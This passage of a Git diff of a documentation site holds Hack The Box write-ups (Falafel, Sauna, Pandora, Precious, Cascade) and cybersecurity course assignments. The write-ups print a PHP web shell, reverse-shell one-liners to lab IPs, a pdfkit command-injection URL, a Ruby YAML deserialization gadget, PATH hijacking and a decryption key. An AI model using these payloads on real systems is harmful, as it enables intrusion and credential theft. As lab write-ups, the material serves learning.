por \"grande sorte\" ainda está a vista na tela looooool)","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.1. Group video","id":"106","title":"3.1. Group video"},"107":{"body":"for group in $(groups); do echo -e \"\\n\\n\\n[*] Archive with group $group permition:\\n\"; find / -group $group 2>/dev/null; done Este commando permite-nos enumerar todos os ficheiro no qual pertence a cada grupo no qual está o usuário. E assim, vemos que o usuário yossio em que estamos logados, tem permissões através do grupo \"disk\" de leitura e escritura sobre /dev/sda1 e muito mais... Este /dev/sda1 é muito simplesmente o disco rígido na qual está instalado o prórpio sistema operativo. Mas não dá para abrir assim... fdisk -l\n#> Disk /dev/sda: 8 GiB, 8589934592 bytes, 16777216 sectors\n#> Units: sectors of 1 * 512 = 512 bytes\n#> Sector size (logical/physical): 512 bytes / 512 bytes\n#> I/O size (minimum/optimal): 512 bytes / 512 bytes\n#> Disklabel type: dos\n#> Disk identifier: 0x01590ad6\n#>\n#> Device Boot Start End Sectors Size Id Type\n#> /dev/sda1 * 2048 14680063 14678016 7G 83 Linux\n#> /dev/sda2 14682110 16775167 2093058 1022M 5 Extended\n#> /dev/sda5 14682112 16775167 2093056 1022M 82 Linux swap / Solaris ll /dev/sda1\n#> brw-rw---- 1 root disk 8, 1 Sep 9 12:08 /dev/sda1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.2. Group disk","id":"107","title":"3.2. Group disk"},"108":{"body":"Com a ajuda da ferramente debugfs (ext2/ext3/ext4 file system debugger). Podemos ver ou manipular uma partição, um disco ou o seu conteúdo. Podemos assim facilemente ver a flag root.txt, mas a nós o que nos interessa é vir a ser root! Por sorte, em /root/.ssh existem keys para entrar por ssh, já autorizadas... nem percisamos de fazer mais nada. É só copiar e usar a id_rsa: debugfs /dev/sda1\ndebugfs: cd /root/.ssh\ndebugfs: cat id_rsa # copy the content...\n# Exit the debugfs cd /tmp\nnano id_rsa # paste the content...\nchmod 600 id_rsa\nssh -i id_rsa root@localhost cat /home/moshe/user.txt\n#> c866575ed5999e1a878b1494fcb1f9d3\ncat /root/root.txt\n#> 23b79200448c62ffd6f8f2091c001fa1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.3. debugfs","id":"108","title":"3.3. debugfs"},"109":{"body":"Sejam bem-vindos! Neste espaço, irei partilhar alguns dos trabalhos que realizarei durante o meu curso de Cibersegurança, em português, como é habitual. Espero que possam acompanhar e aprender comigo. Sylvain \"JavaliMZ\" Júlio","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Trabalhos do curso de Cibersegurança","id":"109","title":"Trabalhos do curso de Cibersegurança"},"11":{"body":"Web Server potenciais users A passear pelo site, não se vê nada de interessante a não ser a página about.html que poderá ter potenciais usuários de uma eventual empresa (Já que é um Active directory ou um Domain Controller) Numa empresa, os usuários costumam ser identificados por primeira letra dos primeiros nomes, e ultimo nome completo. junto, ou separado por um ponto. Isto é extremamente comum... Por isso, vamos extrair esse potenciais usuários para um ficheiro, e daí fazer um arquivo com usernames. Web Server get users cat users-full-name\n#> Fergus Smith\n#> Hugo Bear\n#> Steven Kerb\n#> Shaun Coins\n#> Bowie Taylor\n#> Sophie Driver cat users-full-name | tr '[A-Z]' '[a-z]'\n#> fergus smith\n#> hugo bear\n#> steven kerb\n#> shaun coins\n#> bowie taylor\n#> sophie driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}'\n#> fsmith\n#> hbear\n#> skerb\n#> scoins\n#> btaylor\n#> sdriver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}'\n#> f.smith\n#> h.bear\n#> s.kerb\n#> s.coins\n#> b.taylor\n#> s.driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}' > users cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}' >> users Temos agora uma lista de usuários potenciais para efectuar a próxima tentativa de attack. AS-REP Roasting Attack!.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 2. Web Server","id":"11","title":"2. Web Server"},"110":{"body":"T02 - Acesso Remoto (SSH) 1. Instalação do OpenSSH do cliente 2. Instalação do OpenSSH do lado do servidor 3. Ligação entre o cliente e o servidor 4. Execução de comandos no servidor 5. Criação de um utilizador no servidor 6. Acesso ao servidor através do utilizador criado 7. Acesso de utilizadores guest por parte dos camaradas de curso 8. Mudar o porto lógico de acesso do servidor 9. Verificação do acesso ao servidor SSH 10. Conclusão Para este trabalho, iremos usar o Arch(Linux) por WSL2 do Windows. Para instalar o OpenSSH, basta executar o seguinte comando: yay openssh # O Yay é um AUR Helper. É necessário selecionar a opção respetiva do OpenSSH para instalá-lo. Neste momento, já se pode usar o comando ssh enquanto cliente para nos conectarmos a um servidor SSH, sem mais configurações.","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 1. Instalação do OpenSSH do cliente","id":"110","title":"1. Instalação do OpenSSH do cliente"},"111":{"body":"O OpenSSH no sistema RockyOS vem instalado por defeito. Inclusive, o servidor inicia automaticamente com o sistema. No entanto, caso o software não estiver instalado, basta executar o seguinte comando: sudo yum install openssh Além de o instalar, será necessário ativar o serviço do OpenSSH. Para isso, basta executar o seguinte comando: systemctl start sshd # Inicia o serviço do OpenSSH\nsystemctl enable sshd # Indica ao sistema para iniciar o serviço do OpenSSH sempre que o sistema iniciar","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 2. Instalação do OpenSSH do lado do servidor","id":"111","title":"2. Instalação do OpenSSH do lado do servidor"},"112":{"body":"Por fim, para ligar o cliente ao servidor, basta executar o seguinte comando: # Do lado do cliente (Arch)\nssh javali@192.168.56.101 # ssh
\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> # Para diretamente ter o reverse shell:\n& /dev/tcp/10.10.14.230/443 0>&1'\");?> # Executar o nc em modo de escuta para receber o shell:\nkali@kali: > nc -lvnp 443 # Em outra consola, executar o ficheiro que \"uploadamos\" (Eu escolhi chamar o ficheiro de shell.php...)\nkali@kali: > curl http://localhost/pandora_console/images/shell.php","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6. RCE com usuário matt","id":"87","title":"3.6. RCE com usuário matt"},"88":{"body":"script /dev/null -c bash\nexport TERM=xterm\nexport SHELL=bash # Ctrl + Z\nstty raw -echo; fg\nreset\nstty rows 40 columns 170 # Tem corresponder ao vosso ecrã (stty -a numa consola do Kali)","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6.1. Estabilizar o Reverse Shell","id":"88","title":"3.6.1. Estabilizar o Reverse Shell"},"89":{"body":"Agora que somos matt, podemos analisar o tal binário pandora_backup tar No meio desses caracteres todos, podemos ver um clienttar -cvf /root/... Este parece ser um simples comando \" tar \" que se colou a uma palavra \"client\" por não haver caracteres ASCII pelo meio. Significa que, quem fez o binário, aparentemente, usou um simples comando \" tar \" para fazer o backup, mas não usou o caminho completo para chamar a ferramenta. O que isto quer dizer?","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4. Escalada de privilégio","id":"89","title":"4. Escalada de privilégio"},"9":{"body":"Resolução da máquina Sauna\nMáquina Easy (hackthebox.com)\nby JavaliMZ - 15/09/2021 1. Enumeração 1.1. Nmap 2. Web Server 3. AS-REP Roasting Attack 3.1. GetNPUsers.py 3.1.1. Pwn3d! 4. Primeiro pé na máquina 5. BloodHound 6. Escalada de Privilégios Como sempre, para qualquer PenTest, precisamos saber qual é o alvo. E o primeiro passo para isso é enumerar as portas da máquina! Uma das melhores e mais conhecidas ferramentas para enumerar as portas de uma máquina ou conjunte de máquina é o NMAP.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 1. Enumeração","id":"9","title":"1. Enumeração"},"90":{"body":"Sabemos que o binário pandora_backup usa o tar. Onde se encontra isso? which tar\n# /usr/bin/tar Ok. Mas como é que o computador sabe que está ali o programa? Existe uma variável no shell que indica isso. Chama-se PATH: echo $PATH\n# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin É assim que o computador procura o programa, primeiro procura em \" /usr/local/sbin \", depois em \" /usr/local/bin \", e assim sucessivamente. Todas as pastas estão separadas pelos dois pontos \":\". Mas esta variável é apenas uma variável que o nosso shell actual têm, que facilmente se altera. export PATH=.:$PATH\necho $PATH\n# .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin Adicionamos um ponto \".\" à primeira pasta onde o computador vai procurar pelo programa. Significa que o computador vai procurar no diretório atual, e só depois nos outros diretórios. Assim, basta criar um executável de nome \" tar \" numa pasta qualquer, e executar o binário pandora*backup a partir da mesma posição, para o linux assumir que o \"**_tar***\" correto é o nosso próprio ficheiro \" tar \". E, já que o binário pandora_backup é SUID, e o seu proprietário é \" root \", significa que podemos escrever o que nos apetecer para que seja executado como \"** root **\". O mais fácil é chamar um bash novo... pathhijacknotwork","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1. Path Hijacking","id":"90","title":"4.1. Path Hijacking"},"91":{"body":"Sinceramente não sei, o que sei é que pelo ssh funcionou nesta máquina... Quando vi que não funcionou, procurei outra solução. criei uma chave id_rsa só para ter melhor conexão, conectei-me via SSH e o mesmo exploit funcionou... OK. Mistérios do Hacking! ssh-keygen\ncd /home/matt/.ssh\ncat id_rsa.pub > authorized_keys\ncat id_rsa\n# Copiar o conteúdo e colar num novo ficheiro no nosso kali\nkali@kali: > nano id_rsa\nkali@kali: > # Colar e gravar\nkali@kali: > chmod 600 id_rsa\nkali@kali: > ssh matt@10.10.11.136 -i id_rsa E agora, exatamente da mesma posição, alterando primeiro a variável PATH, optemos uma shell root root Agora já somos ROOT! Só falta as flags... Obrigador por lerem o writeup! Até à próxima Criadores da máquina: TheCyberGeek e dmw0ng","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1.1. Não funcionou! Porquê?","id":"91","title":"4.1.1. Não funcionou! Porquê?"},"92":{"body":"Writeup: Precious EASY machine (hackthebox.com) by Sylvain \"JavaliMZ\" Júlio - 30/12/2022 1. Introduction 2. Enumeration 3. Exploit - Remote Code Execution 4. Foothold 5. Privilege Escalation 6. Conclusion This write-up was created for two purposes. Normally, my write-ups are in Portuguese, but this time, I am writing in English because I am in a Cyber Security degree, and I need to complete an assignment for my English class during the 2022 winter break. The assignment was to summarize and explain three good articles about a topic I like, but I didn't know what to choose, so I decided to make the \"Precious\" machine from HTB and read some articles about the machine's vulnerabilities. Additionally, my teacher Maria's goal is to keep us interested and active in English, so I think I am respecting the overall rules =). For this time, I will not be discussing possible ways to find something or explaining different concepts that are not related to the machine, because it is already a lot of work to write and think in English. I will only be talking about the machine and the way to gain Administrator access to the machine. I will try to make analogies to the real world so that my teacher does not get lost. I will do my best.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 1. Introduction","id":"92","title":"1. Introduction"},"93":{"body":"Like every machine, we need to know how to access it. HTB gives us the IP address, but we don't know anything else. The IP address is like the address of a house, but we need to figure out which doors are open to get in. In a machine, these doors are called \"ports\" (in reference to the ports of ships that allow the arrival of goods from the outside world). There are always 65,535 ports in all machines. It's a lot!! But we don't need to knock on all the ports manually... For that, we have a tool called nmap . First, we need to confirm that we can reach the IP: ping -c 1 10.10.11.189 # PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data. # 64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=72.5 ms # --- 10.10.11.189 ping statistics --- # 1 packets transmitted, 1 received, 0% packet loss, time 0ms # rtt min/avg/max/mdev = 72.530/72.530/72.530/0.000 ms We send an ICMP packet, and the target machine sends it back. With the ping command (like ping pong), we know the machine is alive and we can start scanning the ports. We noticed one more thing with the ping command. The result gives us the TTL (Time to Live) which refers to the number of hops that a packet is allowed to make before it is discarded. When a packet travels through the Internet, every time it passes through a router, the router decrements this value by 1. For Windows, TTL starts at 128, and for Linux, TTL starts at 64. We can use this information to approximate the Operating System of the target machine. In this case, it is likely a Linux machine. It is important for future commands on the target machine. Enumeration all ports With the response of the nmap command, we know that on the target machine, we have 2 ports open: port 22 and port 80. Normally, port 22 is for an SSH server and port 80 is for a web server. The SSH server is a remote secure shell, used to connect my command line with the machine when we connect with the right credentials. We don't have any credentials, so we can't do anything here. We just have one more port, the web server. Before we start looking at the website, we can do a more powerful scan, using nmap as well. Enumeration targeted ports This new command gives us more information. The web server redirects us to http://precious.htb/ , but that website doesn't exist. We know the site is on this IP, but the web server wants us to access it through the URL http://precious.htb/ . We can do that by telling our machine that the URL http://precious.htb/ corresponds to the IP of the target machine. For that, we can edit the file /etc/hosts as a root (super user) and add the line: echo \"10.10.11.189\\tprecious.htb\" >> /etc/hosts Now, we can access the website: Website It is a website that converts websites to PDF. We can do some basic testing to get more information about the website. We can try to serve a web server and enter the new URL to see what happens: python -m http.server 80 This is a really simple web server, but it is enough for us. We can enter our URL (http://10.10.14.144/) in the field on the website and see what happens: pdf Download We can see that the website download a PDF file. Visually, it is just a simples PDF. But if we use a tool like exiftool to see the metadata of the PDF, we can see more information... pdf Metadata","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 2. Enumeration","id":"93","title":"2. Enumeration"},"94":{"body":"We can see that the PDF Creator is a tool called pdfkit v0.8.6 . This version is vulnerable and we can get a RCE (Remote Code Execution). We can see more about this vulnerability here . To exploit this vulnerability, it's simple! We just need to add to the URL a parameter called ?user and give a \"space\" but encoded (a space like %20 is the URL code for a space of the space bar). Next, we need to concatenate a bash code (because it is a Linux Machine) with the special symbol ` (a code between 2 of this symbol in bash get execute before the rest of the command outside the symbols) around the code for execute it like if we are in a command line shell. The command we will try is a single ping to our machine to test if we really got remote code execution. The final URL will be: http://10.10.14.144/?name=%20ping -c 1 10.10.14.144 # Set up a listener to capture the ping\nsudo tcpdump -i tun0 icmp We got a ping back! I also create a tiny script in Python to have a fast way to try remote code execution: import requests while True: cmd = input(\"[fAkeSh3ll ~] > \") data = { 'url': f\"http://10.10.14.144/?name=%20`{cmd}`\", } response = requests.post('**http://precious.htb/**', data=data, verify=False) Now, we can try to get a reverse shell. A reverse shell is a type of connection to get a shell on the target machine. But the way we got this is tricky. We need to find a way for the target machine to send its own shell to our machine. It's like trying to enter a house, and we need to find a way for the house to open its own door to give us access... The command that worked on the machine was this: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")' So, if we want to do that on the Website, we need to send this url: http://10.10.14.144/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'` The query needs to be that exact and we need to adapt the IP and the port. We also need to set up a listener to capture the shell. Reverse Shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 3. Exploit - Remote Code Execution","id":"94","title":"3. Exploit - Remote Code Execution"},"95":{"body":"We are in the machine. But we have low privilege. We need more!! HUAAHAHA!! Digging through the folders and files, we'll find credentials for a service used by the user henry. henry credentials And like 99,9% of people, we can try if the user henry has the same password for is user account. And it works! su henry\n# Q3c1AqGHtoI0aXAYFH","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 4. Foothold","id":"95","title":"4. Foothold"},"96":{"body":"We got a little more privileges. But it is not enough!! WE NEED MORE AGAIN!!!! Sudo permissions The sudo command is a command to execute another command as root privileges. And sudo -l inform us that the user henry can execute /usr/bin/ruby /opt/update_dependencies.rb as root. When we examine the update_dependencies.rb file, we realize that the script use \"YAML.load\" to load that file. That means the file will be deserialized. deserialization is like converting the syntax of the content of the file into object in ruby (in this case). But like in a lot of languages, deserialization can be dangerous... And in this case, we can create our own YAML file to execute a command as root. We can find a good article here but for python, and here in ruby. But the code we will use is here . Code execution as root We just create a file caller test.txt for confirm that the code is working. And it works! We can execute command as root. Now, we need a way to get root shell. They are so many ways, but I like this one: I will change permissions on the /usr/bin/bash program to execute it as the owner of the program. The owner of the program is root. So, if we execute the program, we will get a root shell. The code we will use is: ---\n- !ruby/object:Gem::Installer i: x\n- !ruby/object:Gem::SpecFetcher i: y\n- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: \"abc\" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: chmod +s /usr/bin/bash method_id: :resolve Now, we just need to execute the sudo command, and the bash program will be altered. And we can execute bash as root with a special flag: sudo /usr/bin/ruby /opt/update_dependencies.rb\nbash -p Root shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 5. Privilege Escalation","id":"96","title":"5. Privilege Escalation"},"97":{"body":"This machine was easy to get in, and the privilege escalation was a little more complex. But it was a good machine to learn more about Ruby and YAML. I hope you enjoyed this writeup. Fun fact: the machine is called Precious because it is a reference to the ruby programming language. Both vulnerabilities are related to the ruby language.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 6. Conclusion","id":"97","title":"6. Conclusion"},"98":{"body":"Resolução da máquina Falafel 1.0.0.1. Máquina HARD (hackthebox.com) 1.0.0.2. by JavaliMZ - 09/09/2021 1. Enumeração 1.1. Nmap 2. WebSite 2.1. Fuzzing the website 2.2. SQLi 2.3. RCE 2.3.1. Reverse Shell 3. PrivEsc 3.1. Group video 3.2. Group disk 3.3. debugfs","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 1. Enumeração","id":"98","title":"1. Enumeração"},"99":{"body":"Na fase de enumeração, a ferramenta nmap tem um lugar imprescindível!! É possível enumerar portas manualmente, com um simples for loop e um echo para o /dev/tcp/
+No contexto do CTESP em cibersegurança que estou a efetuar, foi-me proposto a realização de um trabalho sobre o anonimato na internet. Este trabalho foi realizado no âmbito da unidade curricular de "Técnicas de hacking". O objetivo deste trabalho é aprofundar os conhecimentos sobre o anonimato na internet, e sobre as ferramentas que permitem que os utilizadores possam navegar na internet de forma anónima.
Enunciado:
@@ -202,6 +204,7 @@
Como resultado devem verificar se o tráfego está a ser encaminhado pela rede TOR. Para isso verifiquem a configuração através deste site: https://check.torproject.org/
Indiquem também qual o IP atribuído e a área geográfica a qual o mesmo pertence.
Neste trabalho, iremos desenvolver um relatório sobre o anonimato na internet. Iremos tratar de entender o que é a rede TOR, como usar o Privoxy, iremos ainda falar sobre o sistema operativo TAILS e por fim, passando ainda por discutir sobre a importância do anonimato para o black hat hacker, as dificuldades que enfrentam as autoridades contra o anonimato e sobre a importância da coordenação e cooperação internacional para combater o cibercrime.
Existe outras formas de saber quem somos pela internet sem metermos os nosso dados. Existem dados nosso sobre tudo o que possamos imaginar e o que não imaginamos gravados na internet Um expert em OSINT consegue fazer ligações inimagináveis para determinar com um grau de certezas muito elevado que foi tal ou tal pessoa a fazer algo pela internet. Exemplos:
-Exitem diversos dados que enviamos através do nosso browser que nos identificam, e outros que são acessíveis por código javascript que o nosso browser executa. Dados como:
-- tamanho do ecrã
-- tamanho usável do browser
-- user-agent
-- Do Not Track header
-- Timezone
-- Content language
-- layout de teclado
-- Lista de fontes instaladas
-- Lista de plugins instalados
-- WebGL Renderer
-- permissões do browser
-- e muitos outros
-
+Existem diversos dados que enviamos através do nosso browser que nos identificam, e outros que são acessíveis por código javascript que o nosso browser executa. Dados como:
+No meu caso em particular, sou único. totalmente identificável pela internet... Também posso dizer que talvés me ponho a geito. Teclado e linguagem em Portugues, computador Linux, fontes (tipos de letras) como "firacode" entre outras coisas fazem que não haja outra configuração igual.
+No meu caso em particular, sou único. totalmente identificável pela internet... Também posso dizer que talvez me ponho a jeito. Teclado e linguagem em Portugues, computador Linux, fontes (tipos de letras) como "firacode" entre outras coisas fazem que não haja outra configuração igual.
E no caso de usar TOR? De certeza que não iria ser possível obter tanta informação, mas mesmo assim, seriam perfeitamente suficientes para me identificarem.
Vimos anteriormente várias falhas no anonimato perfeito... Mas vamos tentar otimizar tudo para ficarmos o mais anónimos possível. Vimos que o nosso sistema fala para a internet. Isso é um problema para quem quiser ficar anónimo. Temos então que usar, para além do TOR e de uma VPN-over-TOR, podemos usar uma ferramenta que irá alterar todos esses elementos identificáveis do browser. Essa ferramenta é o privoxy.
@@ -299,7 +303,7 @@Agora que temos tudo configurado, estamos prontos para navegar na internet de forma praticamente anónima. Mas todo esse processo é demorado. Poderiamos criar um script para automatizar todo esse processo. Mas existe ainda melhor. O sistema operacional TAILS.
@@ -322,8 +326,8 @@Todo estes procedimentos são complexos, mas necessários para estar o mais anónimo possível. E certas organizações entenderam o perigo que isso representa. Por exemplo, o FBI, a NSA, a CIA, etc. Essas organizações têm como objetivo proteger os cidadãos, mas também têm como objetivo proteger o país. E estar totalmente anónimo para cibercriminoso ou um ciberterrorista é perigoso para as populações. Já houve, então, tentativas de contornar algumas dessas ferramentas.
@@ -336,11 +340,12 @@O anonimato na internet é um assunto muito importante, pois permite que os utilizadores possam navegar na internet sem que sejam identificados. É um assunto muito relevante para quem se preocupa com a sua privacidade e segurança, mas é primordial para pessoas que vivem em países onde a liberdade de expressão é limitada. É ainda crítico para pessoas que trabalham em áreas sensíveis, como jornalistas, ativistas, denunciantes, etc. E claro, para quem pratica atividades ilegais, como o cibercrime.
A forma mais fácil de ficar anónimo é usando o sistema operacional TAILS. Mas para quem quer estar minimamente anónimo, basta usar o TOR e o privoxy. As sua ferramentas juntas já trazem um nível de anonimato excecional.
-Todas as técnicas aqui referidas foram para tratar a anonimidade na internet. Não confundir estar anónimo com estar livre de malwares, vírus, etc. Além disso, essas técnicas são inúteis se o utilizador não tiver cuidado com o que faz na internet. Se o utilizador usar a sua conta pessoal do facebook, e publicar X ou Y coisa, não importa ter tido o cuidado de usar a rede TOR ou o TAILS, pois toda a gente sabe que ele publicou X ou Y coisa.
+Todas as técnicas aqui referidas foram para tratar a anonimidade na internet. Não confundir estar anónimo com estar livre de malwares, vírus, etc. Além disso, essas técnicas são inúteis se o utilizador não tiver cuidado com o que faz na internet. Se o utilizador usar a sua conta pessoal do facebook, e publicar X ou Y coisa, sim a comunicação até aos servidores do facebook são anónimas, sim é muito dificil (praticamente impossível) reconstruir o caminho que cada pacote usou, mas não importa ter tido o cuidado de usar a rede TOR ou o TAILS, pois toda a gente sabe que ele publicou X ou Y coisa.
yum install policycoreutils-python
Existem ainda outros pacotes que poderão ser instalados dependendo das necessidades. Na documentação oficial do Red Hat, encontramos a seguinte lista de pacotes:
-- policies: selinux-policy-targeted, selinux-policy-mls
-- tools: policycoreutils, policycoreutils-gui, libselinux-utils, policycoreutils-python-utils, setools-console, checkpolicy
-
+O ficheiro principal de configuração do SELinux é o /etc/selinux/config. Este ficheiro contém as seguintes opções:
-- SELINUX: define o modo de execução do SELinux
- - SELINUX=disabled: desativa o SELinux durante o arranque
- - SELINUX=permissive: coloca o SELinux em modo permissivo, imprimindo apenas mensagens de aviso
- - SELINUX=enforcing: coloca o SELinux em modo de execução
-- SELINUXTYPE: define o tipo de política SELinux a ser usada
- - SELINUXTYPE=targeted: define a política SELinux como targeted
- - SELINUXTYPE=minimum: define a política SELinux como minimum, apenas processos selecionados são protegidos
- - SELINUXTYPE=mls: define a política SELinux como multi level security (MLS)
-
+Na mesma pasta, existe ainda o ficheiro /etc/selinux/semanage.conf. Este ficheiro "/etc/selinux/semanage.conf", é um ficheiro de configuração para a ferramenta de gestão SELinux "semanage". Ele contém definições para a localização padrão do armazenamento de políticas, a localização padrão do armazenamento de módulos de políticas e o caminho padrão dos módulos de políticas. Estas definições são usadas pelo "semanage" para gerir as políticas e módulos SELinux no sistema. O ficheiro pode ser editado para alterar as definições padrão do "semanage".
Neste trabalho, demonstrei como é possível limitar um utilizador a uns meros comandos, como instalar e habilitar um servidor SSH, como alterar o porto lógico de acesso ao mesmo. Deparei-me com um problema de permissões devido a políticas de segurança do sistema operativo Rocky e aprendi a resolve-lo, com a ajuda do journal, assim como alterar as regras do firewall também instalado por defeito neste sistema.
-- Fontes úteis:
- - https://serverfault.com/questions/998399/how-to-create-a-very-limited-linux-user
- - https://docs.rackspace.com/support/how-to/change-the-ssh-port-in-centos-and-redhat/
- - https://www.digitalocean.com/community/tutorials/additional-recommended-steps-for-new-centos-7-servers
-
+Vemos que, na linha 39, o programa connecta-se à base de dados, como prevíamos. E na linha 46, percebemos que a string EncryptedString é a tal palavra que encontramos com o sqlite3. A seguir na linha 49, o programa tenta decryptar a palavra passe. Essa função "Crypto.DecryptString(EncryptedString, "c4scadek3y654321")" está a ser importada do CascCrypto.dll
Na linha 39 do Crypto.cs é que está definido a função "DecryptString". E dái já vemos muitas informações.
-- Crypto.DecryptString(EncryptedString, "c4scadek3y654321"); (MainModule.cs)
- - O trabalho de desencriptação parte daí
-- public static string DecryptString(string EncryptedString, string Key);
- - Isto é o nome da função, e os seus argumentos. a Key usada foi a que está em cima em texto claro ("c4scadek3y654321")
-- byte[] buffer = Convert.FromBase64String(EncryptedString);
- - Confirma-se que a palavra passe que encontramos na base de dados está em base64, pois o programa está a descodificar antes de tratá-lo
-- Aes aes = Aes.Create();
- - Aes é um tipo de criptografia de dados...
- - Aes é amplamente usado por ser um tipo de criptografia virtualmente inquebrável, que levaria vidas inteiras para decifrá-la por brute force... Mas com o código fonte, a coisa muda...
-- aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
- -
-- aes.Mode = CipherMode.CBC;
- - O método de codificação usado é o CBC cipher
-- aes.Key = Encoding.UTF8.GetBytes(Key);
- - confirma-se da situação da Key ser "c4scadek3y654321"
-
+Resumo: - AES - Key == "c4scadek3y654321" - IV == "1tdyjCbY1Ix49842" - Mode == "CBC"
Agora é só decifrá-lo. Isto claramente não vou fazer com uma calculadora (de uma não sei como se faz, e não deve ser fácil lol). Para isso existe ferramentas online, e programas diversos no github. Vou usar uma ferramenta online. o CyberChef. è só procurar as "operations", por o input e guardar o Output
diff --git a/docs/searchindex.js b/docs/searchindex.js index 336b573..180e6f6 100644 --- a/docs/searchindex.js +++ b/docs/searchindex.js @@ -1 +1 @@ -Object.assign(window.search, {"doc_urls":["index.html#sylvain-javalimz-júlio","Windows.html#máquinas-hackthebox","Windows.html#secção-windows","HTB/HTB-Windows-Easy-Omni.html#1-enumeração","HTB/HTB-Windows-Easy-Omni.html#11-nmap","HTB/HTB-Windows-Easy-Omni.html#2-exploração","HTB/HTB-Windows-Easy-Omni.html#3-escalada-de-privilégios","HTB/HTB-Windows-Easy-Omni.html#31-enumeração-do-sistema","HTB/HTB-Windows-Easy-Omni.html#32-user-app","HTB/HTB-Windows-Easy-Sauna.html#1-enumeração","HTB/HTB-Windows-Easy-Sauna.html#11-nmap","HTB/HTB-Windows-Easy-Sauna.html#2-web-server","HTB/HTB-Windows-Easy-Sauna.html#3-as-rep-roasting-attack","HTB/HTB-Windows-Easy-Sauna.html#31-getnpuserspy","HTB/HTB-Windows-Easy-Sauna.html#311---pwn3d","HTB/HTB-Windows-Easy-Sauna.html#4-primeiro-pé-na-máquina","HTB/HTB-Windows-Easy-Sauna.html#5-bloodhound","HTB/HTB-Windows-Easy-Sauna.html#6-escalada-de-privilégios","HTB/HTB-Windows-Medium-Resolute.html#1-enumeração","HTB/HTB-Windows-Medium-Resolute.html#11-servidor-samba","HTB/HTB-Windows-Medium-Resolute.html#12-servidor-rpc","HTB/HTB-Windows-Medium-Resolute.html#2-privesc","HTB/HTB-Windows-Medium-Resolute.html#3-grupo-megabankdnsadmins","HTB/HTB-Windows-Medium-Resolute.html#31-criação-do-ficheirodll-malicioso","HTB/HTB-Windows-Medium-Resolute.html#4-we-are-authoritysystem","HTB/HTB-Windows-Medium-Cascade.html#1-enumeração","HTB/HTB-Windows-Medium-Cascade.html#11-nmap","HTB/HTB-Windows-Medium-Cascade.html#12-rdp","HTB/HTB-Windows-Medium-Cascade.html#13-getnpuserspy","HTB/HTB-Windows-Medium-Cascade.html#14-ldapsearch","HTB/HTB-Windows-Medium-Cascade.html#2-privesc","HTB/HTB-Windows-Medium-Cascade.html#21-smbclient","HTB/HTB-Windows-Medium-Cascade.html#22-sqlite3","HTB/HTB-Windows-Medium-Cascade.html#23-dotpeek-jetbrains","HTB/HTB-Windows-Medium-Cascade.html#231-decrypt-password","HTB/HTB-Windows-Medium-Cascade.html#24-privesc","HTB/HTB-Windows-Hard-Blackfield.html#1-introdução","HTB/HTB-Windows-Hard-Blackfield.html#2-enumeração","HTB/HTB-Windows-Hard-Blackfield.html#21-nmap","HTB/HTB-Windows-Hard-Blackfield.html#22-smb-anonymous","HTB/HTB-Windows-Hard-Blackfield.html#23-as-rep-roasting-attack","HTB/HTB-Windows-Hard-Blackfield.html#24-rpc","HTB/HTB-Windows-Hard-Blackfield.html#25-as-rep-roasting-attack","HTB/HTB-Windows-Hard-Blackfield.html#26-bloodhound","HTB/HTB-Windows-Hard-Blackfield.html#27-smb","HTB/HTB-Windows-Hard-Blackfield.html#3-privesc-svc_backup--administrator-de-domínio","HTB/HTB-Windows-Insane-Bankrobber.html#1-introdução","HTB/HTB-Windows-Insane-Bankrobber.html#2-enumeração","HTB/HTB-Windows-Insane-Bankrobber.html#21-nmap","HTB/HTB-Windows-Insane-Bankrobber.html#22-website","HTB/HTB-Windows-Insane-Bank